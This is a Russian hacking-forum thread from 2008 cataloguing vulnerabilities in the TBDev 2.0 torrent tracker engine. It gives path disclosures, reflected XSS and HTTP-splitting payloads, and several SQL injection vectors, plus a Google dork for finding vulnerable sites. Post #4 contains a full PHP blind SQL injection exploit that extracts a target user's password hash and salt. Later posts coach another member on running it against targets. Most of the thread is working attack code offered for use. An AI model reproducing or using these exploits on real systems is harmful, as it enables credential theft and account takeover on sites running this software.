ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Трекер-движок TBDev 2.0
  #1  
Старый 05.08.2008, 06:55
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию Трекер-движок TBDev 2.0

Баги искал на, TBDev 2.0 Yuna Scatari Edition, подозреваю что в других редакциях они так-же работают:

Раскрытие пути, если не залогинен:
Код:
confirm.php?id[]=
themes/TBDev/stdfoot.php
themes/TBDev/stdhead.php
themes/Gray/stdhead.php
delete.php
captcha.php
если залогинен:
Код:
thanks.php
votesview.php
takeedit.php
comment.php?action=quote&cid[]=
XSS
Код:
http://site/offcomment.php?action=<script>alert(/XSS/)</script>
XSS в POST-запросе:
Код:
<form action="http://site/getrss.php" method="POST">
<input type="text" name="cat[1]" value="&lt;script&gt;alert(/XSS/)&lt;/script&gt;">
<input type="submit">
</form>
HTTP Splitting (требуются права модератора)
Код:
<form action="http://site/comment.php?action=edit&cid=ID_комментария" method="POST">
<input type="text" name="returnto" value="%0d%0a%0d%0a&lt;script&gt;alert(document.cookie)&lt;/script&gt;">
<input type="text" name="text" value="any_text">
<input type="submit">
</form>
Вместо "ID_комментария" надо подставить id реально существующего комментария. Так же эта бага позволяет отредиректить модератора на любой домен (проверки на то что адрес назначения находится на том-же домене, нет).

Ищется в гугле, как: "Powered by TBDev v2.0"

В общем, всё что нашёл сегодня, багов на порядок больше, но искал не оч. глубоко.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 05.08.2008 в 16:56..
 
Ответить с цитированием

  #2  
Старый 05.08.2008, 16:41
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

HTTP Splitting (простого пользователя достаточно):
Код:
<form action="http://site/message.php?action=takemessage" method="POST">
<input type="text" name="receiver" value="1">
<input type="text" name="origmsg" value="1">
<input type="text" name="returnto" value="%0d%0a%0d%0a&lt;script&gt;alert(document.cookie)&lt;/script&gt;">
<input type="text" name="msg" value="msg">
<input type="text" name="subject" value="subject">
<input type="submit">
</form>
XSS в POST запросе (требуются права модератора):
Код:
<form action="http://site/message.php?action=mass_pm" method="POST">
<input type="text" name="n_pms" value="&lt;script&gt;alert(/XSS1/)&lt;/script&gt;">
<input type="text" name="pmees" value="&lt;script&gt;alert(/XSS2/)&lt;/script&gt;">
<input type="submit">
</form>
Там же, XSS в Referer(требуются права модератора)
Код:
Referer: ><script>alert(/Hi/)</script>
SQL Inj(требуются права модератора)
Код:
<form action="http://site/nowarn.php" method="POST">
<input type="text" name="nowarned" value="nowarned">
<input type="text" name="usernw[]" value="SQL">
<input type="submit">
</form>
Запрос: SELECT modcomment FROM users WHERE id IN (SQL)


Blind SQL Inj
(требуются права модератора)
Код:
<form action="http://site/nowarn.php" method="POST">
<input type="text" name="nowarned" value="nowarned">
<input type="text" name="usernw[]" value="1">
<input type="text" name="desact[]" value="SQL">
<input type="submit">
</form>
Запрос: UPDATE users SET enabled='no' WHERE id IN (SQL)
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 05.08.2008 в 16:47..
 
Ответить с цитированием

  #3  
Старый 05.08.2008, 18:22
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

SQL Inj
Код:
http://site/requests.php?action=reset&requestid=sql'
Запрос: SELECT userid, filledby FROM requests WHERE id =sql'

SQL Inj
Код:
http://site/requests.php?action=reset&requestid=sql'
Запрос: SELECT userid, filledby FROM requests WHERE id =sql'

SQL Inj:
POST:
Код:
http://site/requests.php
action=edit&category=1&id=SQL
Запрос: UPDATE requests SET cat=1, request='', descr='' WHERE id=SQL

Blind SQL Inj:
POST:
Код:
http://site/offers.php
action=edit&id=SQL
Запрос: UPDATE offers SET category='', name='', descr='' WHERE id=SQL

SQL Inj (требуются права модератора):
POST:
Код:
http://site/offers.php
deloffer=SQL
Запрос: DELETE FROM offers WHERE id = SQL

XSS
Код:
http://site/viewrequests.php?category=><script>alert(/XSS/)</script>
XSS(требуются права модератора)
Код:
http://site/staffmess.php?returnto=><script>alert(/XSS/)</script>
XSS in Referer:
Код:
http://site/offcomment.php?action=edit&cid=3
Referer: ><script>alert(/XSS/)</script>
Код:
http://site/offcomment.php?action=vieworiginal&cid=3
Referer: ""><script>alert(/XSS/)</script>
HTTP Splitting (требуются права модератора):
Код:
http://site/offcomment.php?action=delete&cid=1&sure=1&returnto=<script>alert(document.cookie)</script>
POST:
Код:
http://site/offcomment.php?action=edit&cid=3
msg=msg&returnto=value
З.Ы.
Сори за неупорядоченность, постил по мере нахождения. Кстати, теперь по Powered by TBDev на второй строчке гугла находится античат
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 05.08.2008 в 18:32..
 
Ответить с цитированием

  #4  
Старый 07.08.2008, 20:47
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

TBDev v2.0 Blind SQL Injection Exploit
Код:
http://site/requests.php?action=reset&requestid=sql'
Иньекция оказалось слепой, но с выводом ошибки поэтому использовал следующий запрос:
Код:
/requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+passhash+from+users+where+id=1),1,1))=[CHARCODE],'1',(select+1+union+select+2))+--+
Для запуска требуется логин/пароль любого зарегистрированного пользователя, кукисы сплоит запросит самостоятельно.

Результат работы - hash, salt. hash закодирован как: md5($salt.$pass.$salt);

Запускать так:
Код:
tbdev2sql.php url target_id login password
Например tbdev2sql.php http://www.site.com/ 1 Vasya Pupkin

Собственно код:
Код:
<?

//TBDev2 Blind SQL Injection Exploit by Qwazar
//Greets: +toxa+ & antichat.ru 

set_time_limit(0);
ignore_user_abort(1);

function getcookie($url, $name, $password){
	$res = send_xpl($url,"takelogin.php?username=$name&password=$password");
	preg_match("/Set-Cookie: uid=(\d+)*;/", $res, $matches);
	$uid=$matches[1];
	preg_match("/Set-Cookie: pass=([\w+\d+]{32});/", $res, $matches);
	$passhash=$matches[1];
	$res = "uid=$uid; pass=$passhash;";
	if(isset($uid)&&isset($passhash))
		return $res;
	else
		return -1;
}

function send_xpl($url, $xpl){
	global $id;
	global $cookie;
	$u=parse_url($url);
	$req ="GET ".$u['path']."$xpl HTTP/1.1\r\n";
	$req.="Host: ".$u['host']."\r\n";
	$req.="Cookie: $cookie\r\n";
	$req.="Connection: Close\r\n\r\n";
	$fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
	fwrite($fs, $req);
	while (!feof($fs)) {
  		$res .= fread($fs, 8192);
	}
	fclose($fs);
	return $res;
}

function xpl($field ,$condition, $pos){
	global $id;
	$xpl="requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+$field+from+users+where+id=$id),$pos,1))$condition,'1',(select+1+union+select+2))+--+";
	return $xpl;
}

if($argc<4)
{
echo "==================\r\n";
echo "Using tbdev2sql.php url target_id login password\r\n  target_id - id of target member\r\n  login, password - login and password of any existing account\r\n\r\n\r\nEx.: tbdev2sql.php http://www.site.com/ 1 Alex Password\r\n";
echo "==================\r\n";
die();
}

$url=$argv[1];
$id=$argv[2];
$name=$argv[3];
$password=$argv[4];

echo $url.":".$name.":".$password."\r\n";

echo "Trying to get your cookies... ";
$cookie = getcookie($url, $name, $password);
if($cookie!=-1)
	echo "[DONE]\r\n";
else
	die("Can't get cookies.. Pass incorrect?\r\n");

echo "Trying to get passhash: ";
//get md5 pass
for($i=1;$i<=32;$i++){	
	$flag = 0;
	for($j=48;$j<=57;$j++){
		if(!preg_match('/Subquery returns/', send_xpl($url, xpl("passhash",'='.$j,$i)))){ $pass.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; }
		else {if($j!=48) {echo chr(8);} echo chr($j);}
	}
	if($flag!=1) {
		for($j=97;$j<=102;$j++){
			if(!preg_match('/Subquery returns/', send_xpl($url, xpl("passhash",'='.$j,$i)))){ $pass.=chr($j); echo chr(8).chr($j); $flag=1; break; }
			else {echo chr(8).chr($j);}
		}
	}
	if (!$flag)
		die("\r\nExploit failed\r\n");
}

echo " [DONE]\r\n";

echo "Trying to get salt: ";
//get secret (20 characters 1-9a-Z)
for($i=1;$i<=20;$i++){
	$flag = 0;
	for($j=49;$j<=57;$j++){
		if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); if($j!=49) {echo chr(8);} echo chr($j); $flag=1; break; }
		else {if($j!=49) {echo chr(8);} echo chr($j);}
	}
	if($flag!=1) {
		for($j=65;$j<=90;$j++){
			if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
			else {echo chr(8).chr($j);}
		}
	}
	if($flag!=1) {
		for($j=97;$j<=122;$j++){
			if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
			else {echo chr(8).chr($j);}
		}
	}
	if (!$flag)
		die("\r\nExploit failed\r\n");
} 
echo " [DONE]\r\n";


?>
Скачать можно тут: скачать файл
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 07.08.2008 в 21:25..
 
Ответить с цитированием

  #5  
Старый 12.08.2008, 20:12
Аватар для OMG!!
OMG!!
Постоянный
Регистрация: 25.02.2008
Сообщений: 331
Провел на форуме:
1073404

Репутация: 189
По умолчанию

/requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+passhash+from+u sers+where+id=1),1,1))=[CHARCODE],'1',(select+1+union+select+2))+--+

SQL ругается.. но иньекция не проходит. в чаркод что писать?.. кодировку базы? о_0

tbdev2sql.php url target_id login password

За скрипт спасибо, залил на хост юзаю..
Цитата:
http://myhost/tbdev2sql.php http://target/ 1 вася парольваси
и апач говорит тут же, что не найден этот файл.. ммм. может я не так что-то делаю? ++
 
Ответить с цитированием

  #6  
Старый 13.08.2008, 02:38
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

Цитата:
Сообщение от OMG!!  
/requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+passhash+from+u sers+where+id=1),1,1))=[CHARCODE],'1',(select+1+union+select+2))+--+

SQL ругается.. но иньекция не проходит. в чаркод что писать?.. кодировку базы? о_0
Чаркод - код символа, если символ находится на данной позиции, то ошибке не будет, если не находится - выдаст ошибку "Subquery returns" чтото там.

Для passhash это числа от 48 до 57 включительно (0-9) и от 97 до 102 включительно (a-f).

Позиция проверяемого символа задаётся в этом кусочке запроса:
Код:
(select+passhash+from+u sers+where+id=1),[POS],1)
Вместо [POS], для passhash подставляй цифры от 1 до 32.

Если хочешь получить соль, то вместо "passhash" подставь "secret" и диапазоны pos - 1-20, charcode - 49-57,65-90,97-122 (включительно). Соль - 20 символов [1-9,a-Z]

Цитата:
Сообщение от OMG!!  
За скрипт спасибо, залил на хост юзаю..

http://myhost/tbdev2sql.php http://target/ 1 вася парольваси

и апач говорит тут же, что не найден этот файл.. ммм. может я не так что-то делаю? ++
UPD: Блин, неправильно тебя понял. В общем его надо запускать из командной строки! А не из браузера.


P.S.
А вообще посмотри сплоит, код очень прост для понимания.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 13.08.2008 в 02:50..
 
Ответить с цитированием

  #7  
Старый 16.08.2008, 12:24
Аватар для Nightmarе
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Отправить сообщение для Nightmarе с помощью ICQ
По умолчанию

Ещё одно раскрытие пути обнаружил:
details.php?id[]=
 
Ответить с цитированием

  #8  
Старый 17.08.2008, 05:04
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

Ещё XSS, требуются права модератора:
Код:
http://site/stats.php?uporder="><script>alert(/XSS/)</script>
http://site/usersearch.php?r="><script>alert(/XSS/)</script>
Для usersearch.php уязвимы параметры r,n,co,dl2,ls2,ul2,ls,d,em,ul,r2,dl,ma,ip,d2
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 17.08.2008 в 05:09..
 
Ответить с цитированием

  #9  
Старый 06.09.2008, 19:13
Аватар для OMG!!
OMG!!
Постоянный
Регистрация: 25.02.2008
Сообщений: 331
Провел на форуме:
1073404

Репутация: 189
По умолчанию

Qwazar, а как подставить куки в эксплоит.. я юзаю его на VDS. У себя дома с поддержкой CLI запустить не вышло.. зато на VDS по ssh пошло, как по маслу.. как подменить куки? +++
 
Ответить с цитированием

  #10  
Старый 06.09.2008, 20:49
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

Цитата:
Сообщение от OMG!!  
Qwazar, а как подставить куки в эксплоит.. я юзаю его на VDS. У себя дома с поддержкой CLI запустить не вышло.. зато на VDS по ssh пошло, как по маслу.. как подменить куки? +++
Ну вообще он при запуске требует логин/пароль и сам запрашивает куки.

Но если очень хочется, можешь эту строку
Код:
$cookie = getcookie($url, $name, $password);
заменить на
Код:
$cookie = "А СЮДА ВСЁ ЧТО ХОЧЕШЬ"
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Прошивку iPhone 2.0 взломали ещё до её выхода geforse Мировые новости 1 14.07.2008 22:41
Web 2.0 выходит на государственный уровень vadim399 Мировые новости 2 12.01.2008 18:06
Проложение витых пар в городских домах Рогатый Трупоед Аппаратное обеспечение 11 20.09.2004 09:08



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ